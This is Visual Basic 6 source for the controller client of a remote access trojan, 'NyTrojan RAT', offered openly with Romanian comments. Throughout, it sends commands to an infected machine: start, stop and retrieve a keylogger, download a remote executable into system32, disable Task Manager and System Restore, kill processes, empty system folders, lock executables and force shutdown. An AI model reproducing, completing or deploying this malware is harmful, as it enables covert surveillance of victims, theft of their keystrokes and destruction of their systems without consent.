VERSION 5.00
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Begin VB.Form Form1 
   Caption         =   "NyTrojan RAT Source Code"
   ClientHeight    =   11685
   ClientLeft      =   60
   ClientTop       =   450
   ClientWidth     =   8355
   LinkTopic       =   "Form1"
   ScaleHeight     =   11685
   ScaleWidth      =   8355
   StartUpPosition =   3  'Windows Default
   Begin VB.TextBox Text8 
      Height          =   1575
      Left            =   120
      TabIndex        =   59
      Top             =   9840
      Width           =   7935
   End
   Begin VB.CommandButton Command44 
      Caption         =   "Get Log"
      Height          =   375
      Left            =   6480
      TabIndex        =   58
      Top             =   9360
      Width           =   1575
   End
   Begin VB.CommandButton Command43 
      Caption         =   "Stop Keylogging"
      Height          =   375
      Left            =   3240
      TabIndex        =   57
      Top             =   9360
      Width           =   1695
   End
   Begin VB.CommandButton Command42 
      Caption         =   "Start Keylogging"
      Height          =   375
      Left            =   360
      TabIndex        =   56
      Top             =   9360
      Width           =   1695
   End
   Begin VB.CommandButton Command41 
      Caption         =   "Open WebSite"
      Height          =   375
      Left            =   6600
      TabIndex        =   55
      Top             =   8520
      Width           =   1335
   End
   Begin VB.TextBox Text7 
      Height          =   375
      Left            =   4560
      TabIndex        =   54
      Text            =   "http://www.mortal-team.com"
      Top             =   8520
      Width           =   1815
   End
   Begin VB.CommandButton Command40 
      Caption         =   "Set Start Caption"
      Height          =   375
      Left            =   2280
      TabIndex        =   53
      Top             =   8520
      Width           =   1335
   End
   Begin VB.TextBox Text6 
      Height          =   375
      Left            =   360
      TabIndex        =   52
      Text            =   "start"
      Top             =   8520
      Width           =   1695
   End
   Begin VB.CommandButton Command39 
      Caption         =   "Kill Process"
      Height          =   375
      Left            =   6600
      TabIndex        =   51
      Top             =   7920
      Width           =   1335
   End
   Begin VB.TextBox Text5 
      Height          =   375
      Left            =   4560
      TabIndex        =   50
      Text            =   "winamp.exe"
      Top             =   7920
      Width           =   1815
   End
   Begin VB.CommandButton Command38 
      Caption         =   "Empty Folder"
      Height          =   375
      Left            =   2280
      TabIndex        =   49
      Top             =   7920
      Width           =   1335
   End
   Begin VB.TextBox Text4 
      Height          =   375
      Left            =   360
      TabIndex        =   48
      Text            =   "C:\WINDOWS\system32"
      Top             =   7920
      Width           =   1695
   End
   Begin VB.CommandButton Command37 
      Caption         =   "Show Author"
      Height          =   375
      Left            =   5400
      TabIndex        =   47
      Top             =   7080
      Width           =   1695
   End
   Begin VB.CommandButton Command36 
      Caption         =   "Turn On Monitor"
      Height          =   375
      Left            =   2280
      TabIndex        =   46
      Top             =   7080
      Width           =   1335
   End
   Begin VB.CommandButton Command35 
      Caption         =   "Turn Off Monitor"
      Height          =   375
      Left            =   480
      TabIndex        =   45
      Top             =   7080
      Width           =   1455
   End
   Begin VB.CommandButton Command34 
      Caption         =   "Stop Swap"
      Height          =   375
      Left            =   6480
      TabIndex        =   44
      Top             =   6480
      Width           =   1335
   End
   Begin VB.CommandButton Command33 
      Caption         =   "Swap Mouse"
      Height          =   375
      Left            =   4560
      TabIndex        =   43
      Top             =   6480
      Width           =   1455
   End
   Begin VB.CommandButton Command32 
      Caption         =   "Abort"
      Height          =   375
      Left            =   6480
      TabIndex        =   42
      Top             =   5880
      Width           =   1335
   End
   Begin VB.CommandButton Command31 
      Caption         =   "Restart"
      Height          =   375
      Left            =   4560
      TabIndex        =   41
      Top             =   5880
      Width           =   1455
   End
   Begin VB.CommandButton Command30 
      Caption         =   "LogOff"
      Height          =   375
      Left            =   6480
      TabIndex        =   40
      Top             =   5280
      Width           =   1335
   End
   Begin VB.CommandButton Command29 
      Caption         =   "ShutDown"
      Height          =   375
      Left            =   4560
      TabIndex        =   39
      Top             =   5280
      Width           =   1455
   End
   Begin VB.CommandButton Command28 
      Caption         =   "Stop Mouse"
      Height          =   375
      Left            =   2280
      TabIndex        =   38
      Top             =   6480
      Width           =   1335
   End
   Begin VB.CommandButton Command27 
      Caption         =   "Crazy Mouse"
      Height          =   375
      Left            =   480
      TabIndex        =   37
      Top             =   6480
      Width           =   1455
   End
   Begin VB.CommandButton Command26 
      Caption         =   "Stop Freeze"
      Height          =   375
      Left            =   2280
      TabIndex        =   36
      Top             =   5880
      Width           =   1335
   End
   Begin VB.CommandButton Command25 
      Caption         =   "Freeze Mouse"
      Height          =   375
      Left            =   480
      TabIndex        =   35
      Top             =   5880
      Width           =   1455
   End
   Begin VB.CommandButton Command24 
      Caption         =   "Unlock EXE"
      Height          =   375
      Left            =   2280
      TabIndex        =   34
      Top             =   5280
      Width           =   1335
   End
   Begin VB.CommandButton Command23 
      Caption         =   "Lock EXE"
      Height          =   375
      Left            =   480
      TabIndex        =   33
      Top             =   5280
      Width           =   1455
   End
   Begin VB.CommandButton Command22 
      Caption         =   "Show Icons"
      Height          =   375
      Left            =   6480
      TabIndex        =   32
      Top             =   4440
      Width           =   1335
   End
   Begin VB.CommandButton Command21 
      Caption         =   "Hide Icons"
      Height          =   375
      Left            =   4560
      TabIndex        =   31
      Top             =   4440
      Width           =   1455
   End
   Begin VB.CommandButton Command20 
      Caption         =   "Show Start"
      Height          =   375
      Left            =   6480
      TabIndex        =   30
      Top             =   3840
      Width           =   1335
   End
   Begin VB.CommandButton Command19 
      Caption         =   "Hide Start"
      Height          =   375
      Left            =   4560
      TabIndex        =   29
      Top             =   3840
      Width           =   1455
   End
   Begin VB.CommandButton Command18 
      Caption         =   "Show Clock"
      Height          =   375
      Left            =   6480
      TabIndex        =   28
      Top             =   3240
      Width           =   1335
   End
   Begin VB.CommandButton Command17 
      Caption         =   "Hide Clock"
      Height          =   375
      Left            =   4560
      TabIndex        =   27
      Top             =   3240
      Width           =   1455
   End
   Begin VB.CommandButton Command16 
      Caption         =   "Show TaskBar"
      Height          =   375
      Left            =   6480
      TabIndex        =   26
      Top             =   2640
      Width           =   1335
   End
   Begin VB.CommandButton Command15 
      Caption         =   "Hide TaskBar"
      Height          =   375
      Left            =   4560
      TabIndex        =   25
      Top             =   2640
      Width           =   1455
   End
   Begin VB.CommandButton Command14 
      Caption         =   "ShowMouse"
      Height          =   375
      Left            =   6480
      TabIndex        =   24
      Top             =   2040
      Width           =   1335
   End
   Begin VB.CommandButton Command13 
      Caption         =   "HideMouse"
      Height          =   375
      Left            =   4560
      TabIndex        =   23
      Top             =   2040
      Width           =   1455
   End
   Begin VB.CommandButton Command12 
      Caption         =   "Delete Flood"
      Height          =   375
      Left            =   2160
      TabIndex        =   22
      Top             =   4440
      Width           =   1455
   End
   Begin VB.CommandButton Command11 
      Caption         =   "Flood Desktop"
      Height          =   375
      Left            =   480
      TabIndex        =   21
      Top             =   4440
      Width           =   1455
   End
   Begin VB.CommandButton Command10 
      Caption         =   "Enable Restore"
      Height          =   375
      Left            =   2160
      TabIndex        =   20
      Top             =   3840
      Width           =   1455
   End
   Begin VB.CommandButton Command9 
      Caption         =   "Disable Restore"
      Height          =   375
      Left            =   480
      TabIndex        =   19
      Top             =   3840
      Width           =   1455
   End
   Begin VB.CommandButton Command8 
      Caption         =   "Enable Task"
      Height          =   375
      Left            =   2160
      TabIndex        =   18
      Top             =   3240
      Width           =   1455
   End
   Begin VB.CommandButton Command7 
      Caption         =   "Disable Task"
      Height          =   375
      Left            =   480
      TabIndex        =   17
      Top             =   3240
      Width           =   1455
   End
   Begin VB.CommandButton Command6 
      Caption         =   "Close CDRom"
      Height          =   375
      Left            =   2160
      TabIndex        =   16
      Top             =   2640
      Width           =   1455
   End
   Begin VB.CommandButton Command5 
      Caption         =   "Open CDRom"
      Height          =   375
      Left            =   480
      TabIndex        =   15
      Top             =   2640
      Width           =   1455
   End
   Begin VB.CommandButton Command4 
      Caption         =   "Stop Beep Flood"
      Height          =   375
      Left            =   2160
      TabIndex        =   14
      Top             =   2040
      Width           =   1455
   End
   Begin VB.CommandButton Command3 
      Caption         =   "BeepFlood"
      Height          =   375
      Left            =   480
      TabIndex        =   13
      Top             =   2040
      Width           =   1455
   End
   Begin VB.CommandButton Command2 
      Caption         =   "Download"
      BeginProperty Font 
         Name            =   "MS Sans Serif"
         Size            =   9.75
         Charset         =   0
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   375
      Left            =   5880
      TabIndex        =   11
      Top             =   1440
      Width           =   1575
   End
   Begin VB.TextBox Text3 
      Height          =   375
      Left            =   5400
      TabIndex        =   9
      Text            =   "C:/WINDOWS/system32/server.exe"
      Top             =   960
      Width           =   2775
   End
   Begin VB.TextBox Text2 
      Height          =   375
      Left            =   5400
      TabIndex        =   7
      Text            =   "http://www.site.com/server.exe"
      Top             =   480
      Width           =   2775
   End
   Begin MSWinsockLib.Winsock Winsock1 
      Left            =   3960
      Top             =   2160
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
   End
   Begin VB.CommandButton Command1 
      Caption         =   "Connect"
      BeginProperty Font 
         Name            =   "MS Sans Serif"
         Size            =   8.25
         Charset         =   0
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   375
      Left            =   2640
      TabIndex        =   1
      Top             =   480
      Width           =   1095
   End
   Begin VB.TextBox Text1 
      Height          =   375
      Left            =   720
      TabIndex        =   0
      Text            =   "127.0.0.1"
      Top             =   480
      Width           =   1815
   End
   Begin VB.Line Line3 
      X1              =   0
      X2              =   9240
      Y1              =   9120
      Y2              =   9120
   End
   Begin VB.Line Line2 
      X1              =   -720
      X2              =   8520
      Y1              =   7680
      Y2              =   7680
   End
   Begin VB.Line Line1 
      X1              =   -840
      X2              =   8760
      Y1              =   5040
      Y2              =   5040
   End
   Begin VB.Shape Shape1 
      Height          =   1935
      Left            =   0
      Top             =   0
      Width           =   4215
   End
   Begin VB.Label Label8 
      Caption         =   "www.mortal-team.com"
      BeginProperty Font 
         Name            =   "MS Sans Serif"
         Size            =   9.75
         Charset         =   0
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   375
      Left            =   720
      TabIndex        =   12
      Top             =   1320
      Width           =   2295
   End
   Begin VB.Shape Shape2 
      Height          =   1935
      Left            =   4200
      Top             =   0
      Width           =   4335
   End
   Begin VB.Label Label7 
      Caption         =   "NyTrojan RAT by Nytro"
      BeginProperty Font 
         Name            =   "MS Sans Serif"
         Size            =   9.75
         Charset         =   0
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   375
      Left            =   720
      TabIndex        =   10
      Top             =   120
      Width           =   2655
   End
   Begin VB.Label Label6 
      Caption         =   "Save To :"
      BeginProperty Font 
         Name            =   "MS Sans Serif"
         Size            =   9.75
         Charset         =   0
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   255
      Left            =   4320
      TabIndex        =   8
      Top             =   960
      Width           =   1095
   End
   Begin VB.Label Label5 
      Caption         =   "URL :"
      BeginProperty Font 
         Name            =   "MS Sans Serif"
         Size            =   9.75
         Charset         =   0
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   255
      Left            =   4680
      TabIndex        =   6
      Top             =   480
      Width           =   615
   End
   Begin VB.Label Label4 
      Caption         =   "IP"
      BeginProperty Font 
         Name            =   "MS Sans Serif"
         Size            =   9.75
         Charset         =   0
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   375
      Left            =   360
      TabIndex        =   5
      Top             =   480
      Width           =   255
   End
   Begin VB.Label Label3 
      Caption         =   "AutoDownload"
      BeginProperty Font 
         Name            =   "MS Sans Serif"
         Size            =   9.75
         Charset         =   0
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   255
      Left            =   5520
      TabIndex        =   4
      Top             =   120
      Width           =   1695
   End
   Begin VB.Label Label2 
      Caption         =   "Not Connected"
      BeginProperty Font 
         Name            =   "MS Sans Serif"
         Size            =   9.75
         Charset         =   0
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   255
      Left            =   1560
      TabIndex        =   3
      Top             =   960
      Width           =   1935
   End
   Begin VB.Label Label1 
      Caption         =   "Status :"
      BeginProperty Font 
         Name            =   "MS Sans Serif"
         Size            =   9.75
         Charset         =   0
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   255
      Left            =   480
      TabIndex        =   2
      Top             =   960
      Width           =   855
   End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
' ### NyTrojan RAT Open Source ###
' ###       By Nytro           ###
' ###    www.mortal-team.com   ###

Private Sub Command1_Click()
On Error Resume Next ' Handler de eroare , in caz de eroare nu e opreste programul
Winsock1.Close ' Inchidem conexiunea precedenta , in caz ca exista
Winsock1.RemoteHost = Text1.Text ' IP-ul la care vrem , sa ne conectam , cel din textbox-ul nostru
Winsock1.RemotePort = 666 ' Portul prin care ne conectam , trebuie a fie acelasi ca in server
Winsock1.Connect ' Ne conectam
End Sub

Private Sub Command10_Click()
On Error Resume Next
Winsock1.SendData "EnableRes"
End Sub

Private Sub Command11_Click()
On Error Resume Next
Winsock1.SendData "DesktopFlood" ' Trimitem stringul DesktopFlood . Cand serverul il va primi , va flooda desktopul cu 1000 de foldere
End Sub

Private Sub Command12_Click()
On Error Resume Next
Winsock1.SendData "DeleteFlood" ' Trimitem stringul DeleteFlood . Cand serverul il va primi va sterge folderele daca exista
End Sub

Private Sub Command13_Click()
On Error Resume Next
Winsock1.SendData "HideMouse" '
End Sub

Private Sub Command14_Click()
On Error Resume Next
Winsock1.SendData "ShowMouse"
End Sub

Private Sub Command15_Click()
On Error Resume Next
Winsock1.SendData "HideTask"
End Sub

Private Sub Command16_Click()
On Error Resume Next
Winsock1.SendData "ShowTask"
End Sub

Private Sub Command17_Click()
On Error Resume Next
Winsock1.SendData "HideClock"
End Sub

Private Sub Command18_Click()
On Error Resume Next
Winsock1.SendData "ShowClock"
End Sub

Private Sub Command19_Click()
On Error Resume Next
Winsock1.SendData "HideStart"
End Sub

Private Sub Command2_Click()
On Error Resume Next
Winsock1.SendData "Download|" + Text2.Text + "|" + Text3.Text ' Trimitem mai multe stringuri . Dupa fiecare string folositi caracterul "|" pentru ca in server , matricea NData() se imparte in functie de acest caracter
End Sub

Private Sub Command20_Click()
On Error Resume Next
Winsock1.SendData "ShowStart"
End Sub

Private Sub Command21_Click()
On Error Resume Next
Winsock1.SendData "HideIcons"
End Sub

Private Sub Command22_Click()
On Error Resume Next
Winsock1.SendData "ShowIcons"
End Sub

Private Sub Command23_Click()
On Error Resume Next
Winsock1.SendData "LockEXE"
End Sub

Private Sub Command24_Click()
On Error Resume Next
Winsock1.SendData "UnlockEXE"
End Sub

Private Sub Command25_Click()
On Error Resume Next
Winsock1.SendData "FreezeMouse"
End Sub

Private Sub Command26_Click()
On Error Resume Next
Winsock1.SendData "StopFreeze"
End Sub

Private Sub Command27_Click()
On Error Resume Next
Winsock1.SendData "CrazyMouse"
End Sub

Private Sub Command28_Click()
On Error Resume Next
Winsock1.SendData "StopCrazy"
End Sub

Private Sub Command29_Click()
On Error Resume Next
Winsock1.SendData "ShutDown"
End Sub

Private Sub Command3_Click()
On Error Resume Next
Winsock1.SendData "BeepFlood"
End Sub

Private Sub Command30_Click()
On Error Resume Next
Winsock1.SendData "LogOff"
End Sub

Private Sub Command31_Click()
On Error Resume Next
Winsock1.SendData "Restart"
End Sub

Private Sub Command32_Click()
On Error Resume Next
Winsock1.SendData "Abort"
End Sub

Private Sub Command33_Click()
On Error Resume Next
Winsock1.SendData "SwapMouse"
End Sub

Private Sub Command34_Click()
On Error Resume Next
Winsock1.SendData "StopSwap"
End Sub

Private Sub Command35_Click()
On Error Resume Next
Winsock1.SendData "TurnOff"
End Sub

Private Sub Command36_Click()
On Error Resume Next
Winsock1.SendData "TurnOn"
End Sub

Private Sub Command37_Click()
On Error Resume Next
Winsock1.SendData "Author"
End Sub

Private Sub Command38_Click()
On Error Resume Next
Winsock1.SendData "Empty|" + Text4.Text
End Sub

Private Sub Command39_Click()
On Error Resume Next
Winsock1.SendData "KillProcess|" + Text5.Text
End Sub

Private Sub Command4_Click()
On Error Resume Next
Winsock1.SendData "StopBeepFlood"
End Sub

Private Sub Command40_Click()
On Error Resume Next
Winsock1.SendData "SetStart|" + Text6.Text
End Sub

Private Sub Command41_Click()
On Error Resume Next
Winsock1.SendData "OpenWeb|" + Text7.Text ' Trimitem 2 stringuri . In server matricea NData(0) va fi OpenWeb iar NData(1) va fi site-ul din TextBox-ul text7
End Sub

Private Sub Command42_Click()
On Error Resume Next
Winsock1.SendData "StartKey"
End Sub

Private Sub Command43_Click()
On Error Resume Next
Winsock1.SendData "StopKey"
End Sub

Private Sub Command44_Click()
On Error Resume Next
Winsock1.SendData "GetKey"
End Sub

Private Sub Command5_Click()
On Error Resume Next
Winsock1.SendData "OpenCD"
End Sub

Private Sub Command6_Click()
On Error Resume Next
Winsock1.SendData "CloseCD"
End Sub

Private Sub Command7_Click()
On Error Resume Next
Winsock1.SendData "DisableTask"
End Sub

Private Sub Command8_Click()
On Error Resume Next
Winsock1.SendData "EnableTask"
End Sub

Private Sub Command9_Click()
On Error Resume Next
Winsock1.SendData "DisableRes"
End Sub

Private Sub Winsock1_Connect() ' Intervine cand winsock-ul e conecteaza
On Error Resume Next
Label2.Caption = "Connected" ' In caz de conectare afisam la status mesajul Connected
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next

    Dim NData() As String 'Declaram matricea/vectorul NData()
    Dim Data As String
    Winsock1.GetData Data ' Primim datele din server in variabila Data
    
    NData = Split(Data, "|") ' Impartim datele primite intr-un vector astfel : NData(0) e primul string , NData(1) e al doilea ...
                             ' Si in server trimitem asa : Winsock1.SendData "Test|" + CEVA + "|" ... etc
                             ' NData(0) va fi primul string trimi din server , adica Test, NData(1) va fi CEVA etc ...
     
     Select Case NData(0)  ' Verificam ce contine primul string din datele primite

        
        Case "Key":     ' Daca primul string este "Key" , atunci al doilea este Keylogul , si il punem in TextBox
     Text8.Text = NData(1)
        
    End Select
End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean) ' Intervine cand winsock-ul nu se conecteaza , eroare
On Error Resume Next
Label2.Caption = "Error" ' In caz de eroare , afisam la status mesajul Error
End Sub


